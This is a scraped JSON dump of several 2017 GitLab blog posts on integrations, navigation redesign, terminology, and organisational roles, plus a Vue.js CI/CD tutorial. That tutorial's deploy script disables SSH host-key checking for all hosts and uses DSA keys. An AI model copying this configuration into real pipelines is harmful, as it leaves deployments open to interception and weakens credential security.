The answer we got was the lack of ambition. We as the founders or development team may not be as ambitious as we should be. Our company has been in the ed tech industry for 10 years and had not seen much growth. What we realized was that our goals and bars were set too low. We have a lot of strong design and engineering capability that we have built up over the last six months and now it is our time to think and act with more ambitious goals. There is a lot of value in helping people to write better and measure the quality of written content since most communication nowadays is done via writing.\n\nWe want to become an important company that helps with not only K-12, higher-ed education in EdTech industry, but also with professional development and employability across any industry that requires written communication to succeed. We have a long way to go, but the invaluable discussion we had with Sid informed us some of the good practices to follow and a trajectory to aim for around our next growth path.\n\n[Cover image](https://unsplash.com/@blakeconnally?photo=B3l0g6HLxr8) by [Blake Connally](https://unsplash.com/@blakeconnally) on Unsplash\n{: .note}\n",[3949,3798,2368],{"slug":34884,"featured":6,"template":678},"pick-your-brain-interview-kwan-lee","content:en-us:blog:pick-your-brain-interview-kwan-lee.yml","Pick Your Brain Interview Kwan Lee","en-us/blog/pick-your-brain-interview-kwan-lee.yml","en-us/blog/pick-your-brain-interview-kwan-lee",{"_path":34890,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34891,"content":34896,"config":34900,"_id":34902,"_type":16,"title":34903,"_source":17,"_file":34904,"_stem":34905,"_extension":20},"/en-us/blog/tasktop-gitlab-integration",{"title":34892,"description":34893,"ogTitle":34892,"ogDescription":34893,"noIndex":6,"ogImage":34606,"ogUrl":34894,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34894,"schema":34895},"One step closer to DevOps success with GitLab + Tasktop","Good news for enterprise devs: flow GitLab Issues into your Agile tool for greater visibility and collaboration.","https://about.gitlab.com/blog/tasktop-gitlab-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"One step closer to DevOps success with GitLab + Tasktop\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-09-15\",\n      }",{"title":34892,"description":34893,"authors":34897,"heroImage":34606,"date":34880,"body":34898,"category":299,"tags":34899},[19026],"\n\nTasktop, the value stream integration tool for enterprise development teams, has launched their [GitLab Issues Connector](http://www.tasktop.com/integrations/gitlab-issues). Now you can automatically flow GitLab issues bi-directionally into tools such as JIRA, CA Agile Central (formerly Rally), HPE ALM, and VersionOne, facilitating effective DevOps at scale.\n\n\u003C!-- more -->\n\nGitLab Issues have endless applications: from proposing new features, to discussing implementation of new ideas, to obtaining support, an issue can serve a host of different functions.\n\nSo we're happy that Tasktop now makes it even easier to integrate issues into your workflow. It works with both the [Community and Enterprise editions](/stages-devops-lifecycle/) of GitLab to flow issues from GitLab into separate purpose-built tools, such as a development team’s Agile planning tools. An issue is then visible in both GitLab and your planning tool, and is always reflective of the current, up-to-date state. This means everyone is in the picture, whether the bulk of their work is done in GitLab or another tool.\n\nThis is great news for cross-functional teams and [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) (it's no secret, we're big fans).\n\n## We asked Tasktop, \"Why GitLab?\"\n\n\"There was (and is) strong customer demand for GitLab. We built this integration as it expands our ecosystem, especially in the Issue Tracker space. We see customers needing to connect relatively lightweight issue trackers with agile development tools, typically to allow defects to be sent to developers. GitLab Issues works with any of our connectors, but it makes the most sense when integrating with tools such as JIRA, CA Agile Central, or Microsoft TFS as customers seek to connect their software value stream from end-to-end.\" - Trevor Bruner, Product Manager, Tasktop\n\n## What we say\n\nGitLab VP of Product Job van der Voort:\n\n>\"GitLab allows anyone to reduce their time to value, bringing their ideas to production faster. With the Tasktop integration, yet another hurdle in going from one application to the next is removed. We're excited to see enterprises ship faster and more reliably.\"\n\nThe GitLab Issues Connector is now available in all editions of [Tasktop Integration Hub](https://www.tasktop.com/hub).\n\n*Is this integration the answer to your context-switching troubles? What will you use it for? Let us know in the comments!*\n",[232,4103],{"slug":34901,"featured":6,"template":678},"tasktop-gitlab-integration","content:en-us:blog:tasktop-gitlab-integration.yml","Tasktop Gitlab Integration","en-us/blog/tasktop-gitlab-integration.yml","en-us/blog/tasktop-gitlab-integration",{"_path":34907,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34908,"content":34913,"config":34918,"_id":34920,"_type":16,"title":34921,"_source":17,"_file":34922,"_stem":34923,"_extension":20},"/en-us/blog/unveiling-gitlabs-new-navigation",{"title":34909,"description":34910,"ogTitle":34909,"ogDescription":34910,"noIndex":6,"ogImage":28265,"ogUrl":34911,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34911,"schema":34912},"Unveiling GitLab's new navigation","A whole new way to navigate.","https://about.gitlab.com/blog/unveiling-gitlabs-new-navigation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unveiling GitLab's new navigation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarrah Vesselov\"}],\n        \"datePublished\": \"2017-09-13\",\n      }",{"title":34909,"description":34910,"authors":34914,"heroImage":28265,"date":34915,"body":34916,"category":299,"tags":34917},[31548],"2017-09-13","\n\nIn 9.4 we took a big step toward [improving our navigation](/blog/redesigning-gitlabs-navigation/) here at GitLab. After several rounds of research and testing, we released our redesigned navigation under a feature flag. We chose this method so that we could continue implementing improvements discovered in our original research while gathering real-world feedback from our users.\n\n\u003C!-- more -->\n\n## We heard you!\n\nWe received an incredible number of responses in the [issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/34917) created to gather feedback. The feedback gave us valuable insight into the many different types of workflows our users have. It reaffirmed some of the decisions made and challenged us to rethink others. Using this feedback, we iterated on the navigation for two release cycles, focusing on the changes that would add the most benefit. Here are some of the high-level additions we made:\n\n### Collapsible sidebar and addition of icons – [#34028](https://gitlab.com/gitlab-org/gitlab-ce/issues/34028)\n\nFrom the beginning, we knew that the sidebar would need to be collapsible in order to maximize screen space. With the right sidebar present in issues and merge requests, we didn’t want to box you in. The addition of icons enabled us to collapse the sidebar down to a mere 50px.\n\n{: .text-center}\n![collapsible menu](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/menu-loop.gif){: .shadow}\n\n### Flyout menu – [#34026](https://gitlab.com/gitlab-org/gitlab-ce/issues/34026)\n\nA fly-out menu has been introduced in order to reduce the number of clicks and the time necessary to access a sub-page. Now, if you want to access Issue Boards, there is no need to click on Issues and wait for the initial ‘Issue List’ to load. When hovering over a section with second-level items, the fly-out drop-down menu will appear to offer quick access to those second-level sections.\n\n{: .text-center}\n![flyout menu](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/flyouts.png){: .shadow}\n\nWe've also adjusted the hover color of the menu items after many of you expressed that the intensity of the color was harsh and distracting. The colors changed from purple to whites and grays without sacrificing the overall contrast.\n\n### Dropdown links in top bar – [#35010]( https://gitlab.com/gitlab-org/gitlab-ce/issues/35010)\n\nNo more clicking on Projects and waiting for the Projects page to load! In order to provide quicker access to projects, a dropdown has been added to the Projects link in the top bar. The dropdown opens on click, following the behavior of the + button and personal dropdowns in the top bar.\n\n{: .text-center}\n![dropdown links](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/dropdown-links.png){: .shadow}\n\nThe dropdown contains direct links to the different subsections of the Projects dashboard (Your Projects, Starred Projects and Explore projects). Better still, on the right-hand side of the dropdown is a list of your most frequently accessed projects. A search box allows you to navigate to your projects that are not present in the list.\n\n### Navigation color themes – [#35012](https://gitlab.com/gitlab-org/gitlab-ce/issues/35012)\n\nOn the subject of colors, one of the most requested features was the ability to change the navigation colors. Previous versions of GitLab allowed users to customize the navigation sidebar with a color theme. Many used this to differentiate between different GitLab instances. The new navigation presented the opportunity to bring back this valuable feature! The default palette will remain indigo, based on the GitLab identity. You will now be able to choose between four additional color schemes; Dark, Light, Blue, and Green.\n\n{: .text-center}\n![navigation color themes](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/color-theme.png){: .shadow}\n\n### Improved breadcrumbs – [#35269](https://gitlab.com/gitlab-org/gitlab-ce/issues/35269)\n\nWe received a lot of feedback on the breadcrumbs. While many of you found them to be helpful, many also found them to be repetitive, inconsistent, and taking up too much overall space. We began by removing GitLab from the start of the breadcrumbs and moving all breadcrumb items onto one line. In order to improve the movement between elements in the breadcrumb, we replaced the slashes with chevrons. We also removed the action buttons from the breadcrumb bar altogether.\n\n{: .text-center}\n![action buttons moved](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/action-remove.png){: .shadow}\n\nWhen multiple subgroups are present, we place them inside of an ellipsis button. This reduces the cognitive load while keeping them accessible. For each breadcrumb element, we have fixed the min-width and the max-width to make sure the whole breadcrumb contracts and expands according to the available space.\n\n{: .text-center}\n![breadcrumbs](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/breadcrumbs.png){: .shadow}\n\nThe breadcrumb labels themselves are more consistent and intuitive. A list of the paths and corresponding breadcrumb titles can be found in the [issue description](https://gitlab.com/gitlab-org/gitlab-ce/issues/35269).\n\n### Reduce header height and redesign active/hover/dropdown styles – [#35424]( https://gitlab.com/gitlab-org/gitlab-ce/issues/35424)\n\nWe reduced the overall header height to give you as much vertical screen space as possible. By popular request, all global links are shown by default and collapse into the 'More' dropdown as space gets tighter. The header active/hover/dropdown styles have been redesigned with a bold new style and Todo/Issue/MR badges are centered to the icons themselves.\n\n{: .text-center}\n![active state](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/active-states.png){: .shadow}\n\n{: .text-center}\n![notifications](https://about.gitlab.com/images/blogimages/unveiling-gitlabs-new-navigation/to-do.png){: .shadow}\n\n\n## Further iteration\n\nWe feel confident that GitLab’s overall navigation has been greatly improved over the last two releases. That is why, as of the 10.0 release, we will remove it from the feature flag and make it the only way to navigate. As always here at GitLab, everything is in draft. We will continue to monitor feedback, test, and iterate.\n\n## Upcoming efforts\n\nLooking forward, the UX team has some big things planned. In addition to improving user flows, we are working hard to increase the overall quality and polish of the UX experience. Stay tuned for a series of blog posts dedicated to explaining our processes as we work on the following key initiatives:\n\n- Change chromatic/full colors to a more harmonious palette [#28614](https://gitlab.com/gitlab-org/gitlab-ce/issues/28614)\n- Establish a proper type ramp to improve contrast and readability [#24310](https://gitlab.com/gitlab-org/gitlab-ce/issues/24310)\n- Iconography is a powerful visual cue to the user and should reflect our particular sense of style [#32894](https://gitlab.com/gitlab-org/gitlab-ce/issues/32894)\n- Architect design process for maintaining master files/symbols team-wide [#26](https://gitlab.com/gitlab-org/gitlab-design/issues/26)\n",[2249,676],{"slug":34919,"featured":6,"template":678},"unveiling-gitlabs-new-navigation","content:en-us:blog:unveiling-gitlabs-new-navigation.yml","Unveiling Gitlabs New Navigation","en-us/blog/unveiling-gitlabs-new-navigation.yml","en-us/blog/unveiling-gitlabs-new-navigation",{"_path":34925,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34926,"content":34932,"config":34938,"_id":34940,"_type":16,"title":34941,"_source":17,"_file":34942,"_stem":34943,"_extension":20},"/en-us/blog/vuejs-app-gitlab",{"title":34927,"description":34928,"ogTitle":34927,"ogDescription":34928,"noIndex":6,"ogImage":34929,"ogUrl":34930,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34930,"schema":34931},"How to use GitLab CI/CD for Vue.js","Learn how to get the most out of GitLab CI/CD with this guide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680363/Blog/Hero%20Images/build-test-deploy-vue.jpg","https://about.gitlab.com/blog/vuejs-app-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab CI/CD for Vue.js\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Simon Tarchichi\"}],\n        \"datePublished\": \"2017-09-12\",\n      }",{"title":34927,"description":34928,"authors":34933,"heroImage":34929,"date":34935,"body":34936,"category":734,"tags":34937},[34934],"Simon Tarchichi","2017-09-12","\n\nContinuous Integration allows you to:\n\n- Deploy your app instantly, when new code is pushed into a repo\n- Build your app (in our case `npm run build`)\n- Trigger test scripts (and block deployment if a test fails)\n\nIt is definitely worth the effort if you update your app regularly.\n\nGitLab is a service that started as an open-source GitHub competitor, mostly to host code in Git repositories, and evolved into an amazing tool that I won’t introduce here, as it isn’t related to Vue.js. One thing though, they were one of the first major companies to use Vue.js for their user interface.\n\nDocker has to be mentioned as well. It is the most popular containerization service. It basically means you get to execute code in a secure environment, configured exactly like your dev/prod. Very useful when you need to make sure your code is executed with all its dependencies.\n\nEach of these tools would require many posts to be covered. We’ll focus on setting up [CI/CD](/topics/ci-cd/) for your Vue.js project. We’ll assume you have no knowledge in the matter.\n\n[GitLab CI/CD is free for personal projects](/pricing/#gitlab-com), I don’t know any other tool with such a beautiful UI that does that. If you do, please let me know.\n\n### The .gitlab-ci.yml file\n\nCreate a `.gitlab-ci.yml` file at the root of your repo. GitLab will check for this file when new code is pushed. If the file is present, it will define a [pipeline](https://docs.gitlab.com/ee/ci/pipelines/index.html), executed by a [GitLab Runner](http://docs.gitlab.com/runner/). Click the links if you are curious, or keep reading to see a working example.\n\nDefault stages of a pipeline are:\n\n1. build\n1. test\n1. deploy\n\nAgain, you don’t need to master this, but this is the most common use case. You may not have set up unit tests, and if you haven’t, you may remove this step from the file, GitLab won’t mind.\n\nHere is our file, you may copy/paste it in your repo:\n\n```\nbuild site:\n  image: node:6\n  stage: build\n  script:\n    - npm install --progress=false\n    - npm run build\n  artifacts:\n    expire_in: 1 week\n    paths:\n      - dist\n\nunit test:\n  image: node:6\n  stage: test\n  script:\n    - npm install --progress=false\n    - npm run unit\n\ndeploy:\n  image: alpine\n  stage: deploy\n  script:\n    - apk add --no-cache rsync openssh\n    - mkdir -p ~/.ssh\n    - echo \"$SSH_PRIVATE_KEY\" >> ~/.ssh/id_dsa\n    - chmod 600 ~/.ssh/id_dsa\n    - echo -e \"Host *\\n\\tStrictHostKeyChecking no\\n\\n\" > ~/.ssh/config\n    - rsync -rav --delete dist/ user@server.com:/your/project/path/\n  ```\n\n### Test our file\n\nNow commit and push the `.gitlab-ci.yml` file to your GitLab repo.\n\nHere is how it will look in the Pipelines tab of GitLab UI:\n\n![GitLab CI/CD Pipelines](https://about.gitlab.com/images/blogimages/gitlab-ci-pipelines.png){: .shadow}\u003Cbr>\n\nThe green checkmark indicates that the step has succeeded and you can see the logs when clicking it.\n\nIn the second example, the tests have failed, click the red mark to read the logs and understand what went wrong.\n\n![GitLab CI/CD logs](https://about.gitlab.com/images/blogimages/gitlab-ci-failed.png){: .shadow}\u003Cbr>\n\n### File anatomy\n\n- `image` is the link to the Docker image. I have chosen to use public official images, but you may use one from the Docker Hub or a private registry.\n\n- `stage` should be `build`, `test` or `deploy` if you use defaults. But that [can be customized](https://docs.gitlab.com/ee/ci/yaml/stages).\n\n- `script` are command lines executed inside our build environment.\n\n- `artifacts` describes a path to the build result. The files in this path can be used in the next build steps (in `deploy` in our example). You can download artifacts from Gitlab UI.\n\nMore about the `.gitlab-ci.yml` file options [in the docs](https://docs.gitlab.com/ee/ci/yaml/).\n\n### About the deployment script\n\nI have described my use case here, but it may not be the simplest. Relevant examples for [deployment to Amazon S3](/blog/ci-deployment-and-environments/) or other services can be found online.\n\nTo get it working, you’ll need to **provide GitLab with a private SSH key**. If you are no security expert, then it is time to take advice from one. The bottom line is **do not give it your private SSH key**, create one that is used only by GitLab.\n\n```\n# create gitlab user\nadduser gitlab\n\n# generate a DSA SSH key\nsu -l gitlab\nssh-keygen -t dsa\n\n# authorize the key to log in using the public key and output the private one\ncd .ssh\nmv id_dsa.pub authorized_keys\ncat id_dsa && rm id_dsa\n```\n\nThen go to GitLab UI “Settings” (the gear icon), then “Variables” and copy/paste the content of your terminal in “Value”. The “Key” should be `SSH_PRIVATE_KEY`. This private key will be used to do the `rsync`.\n\n![GitLab CI/CD variables](https://about.gitlab.com/images/blogimages/gitlab-ci-variables.png){: .shadow}\u003Cbr>\n\n## Links\n\n- [Sample GitLab repository](https://gitlab.com/kartsims/vue-ci)\n- [Gitlab CI/CD docs](https://docs.gitlab.com/ee/ci/)\n\nIf you need more information, leave a comment I’ll be happy to help you if I can.\n\n\"[Golden Gate Bridge Vista Point](https://unsplash.com/@tigesphotos?photo=-BiEu8VP9-M)\" by [Tiger Robinson](https://unsplash.com/@tigesphotos) on Unsplash\n{: .note}\n",[110,4772],{"slug":34939,"featured":6,"template":678},"vuejs-app-gitlab","content:en-us:blog:vuejs-app-gitlab.yml","Vuejs App Gitlab","en-us/blog/vuejs-app-gitlab.yml","en-us/blog/vuejs-app-gitlab",{"_path":34945,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34946,"content":34951,"config":34956,"_id":34958,"_type":16,"title":34959,"_source":17,"_file":34960,"_stem":34961,"_extension":20},"/en-us/blog/comparing-confusing-terms-in-github-bitbucket-and-gitlab",{"title":34947,"description":34948,"ogTitle":34947,"ogDescription":34948,"noIndex":6,"ogImage":14381,"ogUrl":34949,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34949,"schema":34950},"Comparing confusing terms in GitHub, Bitbucket, and GitLab (2017)","Learn the differences between GitLab, GitHub, and Bitbucket's terminology.","https://about.gitlab.com/blog/comparing-confusing-terms-in-github-bitbucket-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comparing confusing terms in GitHub, Bitbucket, and GitLab (2017)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2017-09-11\",\n      }",{"title":34947,"description":34948,"authors":34952,"heroImage":14381,"date":34954,"body":34955,"category":299},[34953],"Marcia Ramos","2017-09-11","Developers rely on multiple platforms to manage repositories, depending on\nclient and project needs.\nThey might contribute to a community project on GitHub, while working on one\nclient's on premises GitLab instance and another client's project in Mercurial\non Bitbucket.\nConfusion can arise when you switch between platforms.\nIn this post, we have a handy reference guide to explain\nsome potentially confusing terms, especially if you're new\nto GitLab.\n\n\u003C!--more-->\n\nThis article was originally written by [Heather McNamee](https://twitter.com/nearlythere) and [published by GitLab](/blog/comparing-terms-gitlab-github-bitbucket/) on Jan 26th, 2016.\nUpdated by Marcia Ramos on Sep 11th, 2017.\n{:.note}\n\n## Migrating to GitLab\n\nSince GitLab's [8.4 Release](/releases/2016/01/22/gitlab-8-4-released/), we have improved\n[migration support](https://docs.gitlab.com/ee/user/project/import/)\nfor those coming from diverse platforms to GitLab.\n\nGitLab imports your repositories, wikis, issues, pull requests, and milestones\nfrom [GitHub](https://docs.gitlab.com/ee/user/project/import/github.html),\nas well as from [Bitbucket](https://docs.gitlab.com/ee/user/project/import/bitbucket.html).\n\nWhile most terminology is shared\nbetween the platforms, some differences lead to confusion\nfor users.\nGit-specific terms like commits, push, pull, fetch, merge and so forth are the same.\nCommon features most repository managers have are also the same: such as users, issues, webhooks, milestones, etc.\n\n## Pull requests vs merge requests\n\nSome features have different names. For example a “pull request” in GitHub and Bitbucket is called a “merge request” in GitLab.\n\nWe figured since you're often making a request to `merge` a feature branch into the master branch, we call this a\n\"merge request\" and you'll hear us talk about MRs and not PRs.\n\nRead through this page for a full [comparison between MRs and PRs](/competition/github/).\n\nIf you’re brand new to GitLab, we’ve made this handy cheat sheet to help you orient yourself and clear things up.\n\n![The Import Project UI in GitLab showing you can import from GitHub, Bitbucket, etc](https://about.gitlab.com/images/blogimages/gitlab-terminology.png){:.shadow}\n\n## Teams, repositories, organizations?\n\nFrom teams to repositories to organizations, there’s potential for fresh confusion.\nIn GitHub, *repositories* contain the Git/SVN repository, and the project assets\nsuch as issues, contribution metrics, etc.\nHowever users often refer to repos as *projects* interchangeably.\n\nSo in GitLab, we call that container a **[Project](https://docs.gitlab.com/ee/user/project/)**.\nThat includes the Git [repository](https://docs.gitlab.com/ee/user/project/repository/),\n[issues](https://docs.gitlab.com/ee/user/project/issues/),\n[merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/),\n[milestones](https://docs.gitlab.com/ee/user/project/milestones/),\nand much more.\n\n## Creating a new project in GitLab\n\nWhen you set up a project, you can, among many other options:\n\n- Choose [project features](https://docs.gitlab.com/ee/user/project/#project-39-s-features).\n- Set the project avatar and its visibility level (Private, Internal or Public).\nYou can have as many private projects as you want.\n- Build, test, and deploy your app with [GitLab CI/CD](/solutions/continuous-integration/).\n- Collaborate on code with [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) and [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/).\n- [Integrate](https://docs.gitlab.com/ee/user/project/integrations/)\nwith third-party applications\n\nIt's important to make this distinction because you import a **project** in\nGitLab, regardless of whether that is called a **repository** elsewhere. In\nGitLab, the repository is *part* of a project.\n{:.alert .alert-info}\n\n![The Import Project UI in GitLab showing you can import from GitHub, Bitbucket, etc](https://about.gitlab.com/images/blogimages/comparing-confusing-terms-in-github-bitbucket-and-gitlab-project.png){:.shadow}\n\n## Projects, organizations, and groups\n\nThis is where it could get confusing.\nNow Bitbucket groups multiple repositories into *Projects*, multiple projects into teams,\nand teams in Bitbucket are analogous to an *Organization* in GitHub.\n\nIn GitLab, we call this a **[Group](https://docs.gitlab.com/ee/user/group/)**.\n\nThis allows you to collect several projects together and also invite\nmembers (other users) to collaborate. Those members can then configure their own [group-level notifications](https://docs.gitlab.com/ee/user/profile/notifications.html#group-notifications).\n\nProjects can be stored in only one group at once.\nHowever, you can [share a project with other groups](https://docs.gitlab.com/ee/user/project/members/share_project_with_groups.html) in [GitLab Enterprise Edition Starter](/pricing/).\nAnd even those settings can be [locked at the group level](https://docs.gitlab.com/ee/user/group/#share-with-group-lock-ees-eep) so you can avoid\nsomeone sharing a private project to other groups, for example.\n\nThe confusion is understandable, especially if, like many developers,\nyou work with a number of clients each on different platforms.\n\nI hope this has cleared up confusion. If you have any questions, please create a\n[new issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/new) or\ntweet at us [@GitLab](https://twitter.com/gitlab)!\n\n----\n\n[Cover image](https://www.pexels.com/photo/ask-blackboard-chalk-board-chalkboard-356079/) licensed under [CC0](https://www.pexels.com/photo-license/).\n",{"slug":34957,"featured":6,"template":678},"comparing-confusing-terms-in-github-bitbucket-and-gitlab","content:en-us:blog:comparing-confusing-terms-in-github-bitbucket-and-gitlab.yml","Comparing Confusing Terms In Github Bitbucket And Gitlab","en-us/blog/comparing-confusing-terms-in-github-bitbucket-and-gitlab.yml","en-us/blog/comparing-confusing-terms-in-github-bitbucket-and-gitlab",{"_path":34963,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34964,"content":34970,"config":34976,"_id":34978,"_type":16,"title":34979,"_source":17,"_file":34980,"_stem":34981,"_extension":20},"/en-us/blog/what-is-a-vp-of-scaling",{"title":34965,"description":34966,"ogTitle":34965,"ogDescription":34966,"noIndex":6,"ogImage":34967,"ogUrl":34968,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34968,"schema":34969},"VP of Scaling: What it is and how it works at GitLab","At GitLab we introduced the role of VP of Scaling early on. But what does that role mean and how has it worked at GitLab?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680369/Blog/Hero%20Images/vp-of-scaling.jpg","https://about.gitlab.com/blog/what-is-a-vp-of-scaling","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"VP of Scaling: What it is and how it works at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ernst van Nierop\"}],\n        \"datePublished\": \"2017-09-08\",\n      }",{"title":34965,"description":34966,"authors":34971,"heroImage":34967,"date":34973,"body":34974,"category":299,"tags":34975},[34972],"Ernst van Nierop","2017-09-08","\n\nFast-growing companies sometimes need leadership in new initiatives before there's time to hire a team member dedicated to them. This is how we tackled this challenge.\n\n\u003C!-- more -->\n\nIn the last two years GitLab has grown from about 15 people in a handful of countries to now well [over 180 people in more than 30 countries](/company/team/). In a company that is growing as fast as GitLab is, there is always some team that needs to be built, or some team to be temporarily led while a leader for the longer term is found, or some initiative to be started that doesn't (yet) fit within existing teams or departments. We can – and do – add people to the\nGitLab team to tackle these challenges. But hiring takes time and isn't always\nappropriate for a one-off or early-stage initiative. GitLab is also a fully remote and international organization that moves fast, and we can't afford to wait for these challenges to sit idle.\n\n## So who should build that team, be that interim leader, or start that initiative?\n\nAt GitLab, we've addressed this with\nthe role of VP of Scaling. The\nword \"scaling\" in this case relates to the _organization_ instead of, for example, sales or user-base. Think of the VP of Scaling as a full-time interim\nmanager rotating between vastly different functions, building teams and\nscalable processes. The job is to \"get in\" and to figure out how to \"get out\"\nresponsibly. (As an aside: at first we struggled to come up with a good name for this role and considered everything from janitor/plumber (sweeping /connecting the entire company – vetoed), to\n[Mr. Wolf](http://www.indiewire.com/2012/03/being-winston-wolfe-9-reasons-why-pulp-fiction-is-the-management-guide-every-indie-filmmaker-needs-48445/)\n(fixes problems on demand – too negative), until eventually settling on the\nkey word of \"scaling.\")\n\n## What does the role involve?\n\nA VP of Scaling should be broadly deployable in the company and go where the\nchallenges are. For us, the first task at hand was to scale up our team, starting with our ability to recruit and hire quickly and efficiently. And so it was that I began in the role of Interim Head of People Operations;\nfrom sending out employment agreements and setting up an candidate tracking\nsystem, to laying the groundwork for our\n[hiring process](/handbook/hiring/), building the\nbeginnings of the People Operations team, and developing the first iteration of the [global compensation calculator](/handbook/total-rewards/compensation/). Once the People Operations team was left in more experienced hands I moved on to help as (interim) Support Lead, followed more recently by time as interim Director of Infrastructure, and currently interim Director of Security.\n\nWith each of the teams that I've worked with, the challenges they've faced are a direct result of the success of the company. The Support team \"feels\" it through more customer tickets, and the Infrastructure team \"feels\" the increased usage of GitLab.com. Although no two teams are identical, there are some common approaches that I have found to be helpful in an interim leadership role.\n\n> Perhaps the most important point is to listen to the team – and to never stop asking questions.\n\nPerhaps the most important point is to listen to the team – and to never stop asking questions. The individuals in our team are smart, they have domain\nexpertise, and they often have great ideas on what needs to be done in order to be successful as a team. Regarding the \"never stop asking questions\" part, well, I think I've had that bit covered ever since I had the ability to talk.\n\nComing onboard with a new team, I listen to the concerns and ideas from the team and from the management chain that they report into, and sort the challenges into those that need to be addressed _right now_ (e.g. add more people to the team through hiring or borrowing; unblock a decision on topic X) from those that need to be addressed on a longer timescale. Once the immediate needs are taken care of, with the help of the team and sometimes outside experts we start sketching out what Utopia looks like for this team. What does the team, and the service the team provides, look like in a world where GitLab is 10x more popular? How about 100x?\n\n>Once the immediate needs are taken care of, with the help of the team and sometimes outside experts we start sketching out what Utopia looks like for this team.\n\nFor example, the Support Team faces the dual challenge of a growing _customer\nbase_ as well as a growing _product_ in terms of product scope and capabilities – straining the team. The \"right now\" solution involved adding\n[support turbos](/handbook/support/#additional-resources-for-the-support-team) and hiring people in multiple timezones to spread the customer ticket load evenly. To make it _scalable_ beyond the immediate needs is part of the Utopia for any team. In this case, our Support Engineers iterated quickly with the new hires to enable a mostly self-guided onboarding process as well as self-guided pathways for [continuous learning](/handbook/support/advanced-topics/).\n\nJumping from team to team in an interim role also provides for a great\nopportunity to help spread best practices from team to team, and to erase or\nmanage \"interfaces\" between teams. For example, the Support Team feels the\n_customer's_ sense of urgency around needing bug fixes or feature development,\nbut did not have a great way to effectively communicate that sense of urgency\nto the rest of the team without just making a lot of noise. So the team came up with a quantitative metric using\n[issue priority labels](/handbook/support/workflows/working-with-issues.html#adding-labels), with good success. When we noticed that the Infrastructure team – as the largest \"customer\" of GitLab Enterprise Edition – was having similar escalation problems, it was easy to adopt priority labels for [security](/handbook/security/#security-priority-labels) as well as [availability and performance](/handbook/engineering/performance/#performance-labels).\n\n## What are the challenges of the role?\n\nA key challenge (and attraction) of this role is that I need to get up to speed quickly on areas of the company and product in which I do not have much prior experience. I rely on the kindness and the expertise of the team, and benefit a lot from our dedication to documenting everything (which we do as an integral part of being successful in a remote-only setting). Of course I contribute back to this documentation as well: as we worked on reducing the latency of GitLab.com, I found myself wondering, \"What actually happens when a user enters a GitLab.com URL in their browser?\" and then documented the answer(s) on our handbook page about\n[GitLab.com performance](/handbook/engineering/performance).\nAnother challenge is, unsurprisingly, that I get somewhat attached to the teams that I'm actively working with. I enjoy learning from them, I enjoy working with and enabling them, and I enjoy getting to know the people behind the GitLab handle.\nIt can be difficult to _fully_ move on to the next assignment, with a few pending issues tenaciously hanging on to my todo list for way too long.\n\nDespite the odd job title and the fluid nature of the job itself, I like to think that it has worked well for us here at GitLab. Do you have a similar role at your company? We'd love to hear about it!\n\n[Cover image](https://unsplash.com/@ripato?photo=tpg_oEPzajA) by [Ricardo Gomez Angel](https://unsplash.com/@ripato) on Unsplash\n{: .note}\n",[676,7715],{"slug":34977,"featured":6,"template":678},"what-is-a-vp-of-scaling","content:en-us:blog:what-is-a-vp-of-scaling.yml","What Is A Vp Of Scaling","en-us/blog/what-is-a-vp-of-scaling.yml","en-us/blog/what-is-a-vp-of-scaling",{"_path":34983,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34984,"content":34990,"config":34995,"_id":34997,"_type":16,"title":34998,"_source":17,"_file":34999,"_stem":35000,"_extension":20},"/en-us/blog/gitlab-fan-profile",{"title":34985,"description":34986,"ogTitle":34985,"ogDescription":34986,"noIndex":6,"ogImage":34987,"ogUrl":34988,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34988,"schema":34989},"Today is GitLab Fan Day","Join us in celebrating our most mysterious evangelist, GitLab Fan.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671316/Blog/Hero%20Images/gitlab-fan-day.png","https://about.gitlab.com/blog/gitlab-fan-profile","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Today is GitLab Fan Day\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-09-07\",\n      